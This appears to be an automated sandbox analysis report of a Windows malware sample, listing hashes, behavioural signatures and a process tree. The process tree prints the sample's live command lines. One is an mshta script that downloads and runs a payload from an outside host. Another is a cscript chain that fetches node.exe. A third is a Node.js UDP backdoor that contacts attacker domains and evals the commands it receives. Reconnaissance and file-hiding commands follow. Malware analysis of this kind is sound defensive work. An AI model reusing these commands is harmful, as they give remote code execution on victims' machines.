Analysis
-
max time kernel
151s -
max time network
153s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
20-07-2021 11:53
Static task
static1
Behavioral task
behavioral1
Sample
15467567c301ef6ae8b98d4fafb6db67.exe
Resource
win7v20210408
General
-
Target
15467567c301ef6ae8b98d4fafb6db67.exe
-
Size
3KB
-
MD5
15467567c301ef6ae8b98d4fafb6db67
-
SHA1
9884574ad77b49580ab14047342b4580324cb6ee
-
SHA256
9db5c02ac4e161369160fe13719a212e55377dd57ffc9f98b7141bce3b9df26c
-
SHA512
5b3d68e59a908312a8e009d2b6ec4af06be67ee7a762d996ed914de9c00bf5edd57dd38f8eaac52bff5ff8a42e7760b7503b517c671bffc37bb55327b37382b1
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 1852 mshta.exe 4 524 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1084 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1508 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1876 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1600 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1872 ipconfig.exe 300 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1704 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\692349ce5ae004b5:ads node.exe File created C:\ProgramData\DNTException\node.exe:cc8ba3e58b5e71542fcdbe60bf7494b2 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1084 node.exe 1084 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1600 tasklist.exe Token: SeIncreaseQuotaPrivilege 1172 wmic.exe Token: SeSecurityPrivilege 1172 wmic.exe Token: SeTakeOwnershipPrivilege 1172 wmic.exe Token: SeLoadDriverPrivilege 1172 wmic.exe Token: SeSystemProfilePrivilege 1172 wmic.exe Token: SeSystemtimePrivilege 1172 wmic.exe Token: SeProfSingleProcessPrivilege 1172 wmic.exe Token: SeIncBasePriorityPrivilege 1172 wmic.exe Token: SeCreatePagefilePrivilege 1172 wmic.exe Token: SeBackupPrivilege 1172 wmic.exe Token: SeRestorePrivilege 1172 wmic.exe Token: SeShutdownPrivilege 1172 wmic.exe Token: SeDebugPrivilege 1172 wmic.exe Token: SeSystemEnvironmentPrivilege 1172 wmic.exe Token: SeRemoteShutdownPrivilege 1172 wmic.exe Token: SeUndockPrivilege 1172 wmic.exe Token: SeManageVolumePrivilege 1172 wmic.exe Token: 33 1172 wmic.exe Token: 34 1172 wmic.exe Token: 35 1172 wmic.exe Token: SeIncreaseQuotaPrivilege 1172 wmic.exe Token: SeSecurityPrivilege 1172 wmic.exe Token: SeTakeOwnershipPrivilege 1172 wmic.exe Token: SeLoadDriverPrivilege 1172 wmic.exe Token: SeSystemProfilePrivilege 1172 wmic.exe Token: SeSystemtimePrivilege 1172 wmic.exe Token: SeProfSingleProcessPrivilege 1172 wmic.exe Token: SeIncBasePriorityPrivilege 1172 wmic.exe Token: SeCreatePagefilePrivilege 1172 wmic.exe Token: SeBackupPrivilege 1172 wmic.exe Token: SeRestorePrivilege 1172 wmic.exe Token: SeShutdownPrivilege 1172 wmic.exe Token: SeDebugPrivilege 1172 wmic.exe Token: SeSystemEnvironmentPrivilege 1172 wmic.exe Token: SeRemoteShutdownPrivilege 1172 wmic.exe Token: SeUndockPrivilege 1172 wmic.exe Token: SeManageVolumePrivilege 1172 wmic.exe Token: 33 1172 wmic.exe Token: 34 1172 wmic.exe Token: 35 1172 wmic.exe Token: SeDebugPrivilege 300 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1080 wrote to memory of 1852 1080 15467567c301ef6ae8b98d4fafb6db67.exe 25 PID 1080 wrote to memory of 1852 1080 15467567c301ef6ae8b98d4fafb6db67.exe 25 PID 1080 wrote to memory of 1852 1080 15467567c301ef6ae8b98d4fafb6db67.exe 25 PID 1080 wrote to memory of 1852 1080 15467567c301ef6ae8b98d4fafb6db67.exe 25 PID 1852 wrote to memory of 2020 1852 mshta.exe 27 PID 1852 wrote to memory of 2020 1852 mshta.exe 27 PID 1852 wrote to memory of 2020 1852 mshta.exe 27 PID 1852 wrote to memory of 2020 1852 mshta.exe 27 PID 2020 wrote to memory of 524 2020 cmd.exe 29 PID 2020 wrote to memory of 524 2020 cmd.exe 29 PID 2020 wrote to memory of 524 2020 cmd.exe 29 PID 2020 wrote to memory of 524 2020 cmd.exe 29 PID 2020 wrote to memory of 1948 2020 cmd.exe 31 PID 2020 wrote to memory of 1948 2020 cmd.exe 31 PID 2020 wrote to memory of 1948 2020 cmd.exe 31 PID 2020 wrote to memory of 1948 2020 cmd.exe 31 PID 2020 wrote to memory of 1508 2020 cmd.exe 34 PID 2020 wrote to memory of 1508 2020 cmd.exe 34 PID 2020 wrote to memory of 1508 2020 cmd.exe 34 PID 2020 wrote to memory of 1508 2020 cmd.exe 34 PID 1508 wrote to memory of 1084 1508 cscript.exe 35 PID 1508 wrote to memory of 1084 1508 cscript.exe 35 PID 1508 wrote to memory of 1084 1508 cscript.exe 35 PID 1508 wrote to memory of 1084 1508 cscript.exe 35 PID 1084 wrote to memory of 684 1084 node.exe 37 PID 1084 wrote to memory of 684 1084 node.exe 37 PID 1084 wrote to memory of 684 1084 node.exe 37 PID 1084 wrote to memory of 684 1084 node.exe 37 PID 1084 wrote to memory of 1980 1084 node.exe 38 PID 1084 wrote to memory of 1980 1084 node.exe 38 PID 1084 wrote to memory of 1980 1084 node.exe 38 PID 1084 wrote to memory of 1980 1084 node.exe 38 PID 1084 wrote to memory of 1876 1084 node.exe 39 PID 1084 wrote to memory of 1876 1084 node.exe 39 PID 1084 wrote to memory of 1876 1084 node.exe 39 PID 1084 wrote to memory of 1876 1084 node.exe 39 PID 1084 wrote to memory of 920 1084 node.exe 40 PID 1084 wrote to memory of 920 1084 node.exe 40 PID 1084 wrote to memory of 920 1084 node.exe 40 PID 1084 wrote to memory of 920 1084 node.exe 40 PID 1084 wrote to memory of 1732 1084 node.exe 41 PID 1084 wrote to memory of 1732 1084 node.exe 41 PID 1084 wrote to memory of 1732 1084 node.exe 41 PID 1084 wrote to memory of 1732 1084 node.exe 41 PID 1084 wrote to memory of 1600 1084 node.exe 42 PID 1084 wrote to memory of 1600 1084 node.exe 42 PID 1084 wrote to memory of 1600 1084 node.exe 42 PID 1084 wrote to memory of 1600 1084 node.exe 42 PID 1084 wrote to memory of 1172 1084 node.exe 44 PID 1084 wrote to memory of 1172 1084 node.exe 44 PID 1084 wrote to memory of 1172 1084 node.exe 44 PID 1084 wrote to memory of 1172 1084 node.exe 44 PID 1084 wrote to memory of 1872 1084 node.exe 45 PID 1084 wrote to memory of 1872 1084 node.exe 45 PID 1084 wrote to memory of 1872 1084 node.exe 45 PID 1084 wrote to memory of 1872 1084 node.exe 45 PID 1084 wrote to memory of 1108 1084 node.exe 46 PID 1084 wrote to memory of 1108 1084 node.exe 46 PID 1084 wrote to memory of 1108 1084 node.exe 46 PID 1084 wrote to memory of 1108 1084 node.exe 46 PID 1084 wrote to memory of 300 1084 node.exe 47 PID 1084 wrote to memory of 300 1084 node.exe 47 PID 1084 wrote to memory of 300 1084 node.exe 47 PID 1084 wrote to memory of 300 1084 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 920 attrib.exe 1732 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\15467567c301ef6ae8b98d4fafb6db67.exe"C:\Users\Admin\AppData\Local\Temp\15467567c301ef6ae8b98d4fafb6db67.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();184;y=unescape('%325%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E3%34').split('~');29;try{x='WinHttp';55;x=new ActiveXObject(x+'.'+x+'Request.5.1');187;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);165;x.send();220;y='ipt.S';191;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);204;}catch(e){};30;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626781993089.txt & cscript /nologo /e:jscript get1626781993089.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2e0b0b865%26b%3De957fcb4" node.cab & expand node.cab node.exe & del get1626781993089.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626781993089.txt & cscript /nologo /e:jscript get1626781993089.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e0b0b865%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626781993089.txt3⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626781993089.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2e0b0b865%26b%3De957fcb4" node.cab4⤵
- Blocklisted process makes network request
PID:524
-
-
C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1948
-
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626781993089.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e0b0b865%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e0b0b865%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:684
-
-
C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1980
-
-
C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1876
-
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:920
-
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1732
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1600
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1172
-
-
C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1872
-
-
C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1108
-
-
C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:300
-
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1704
-
-
-
-
-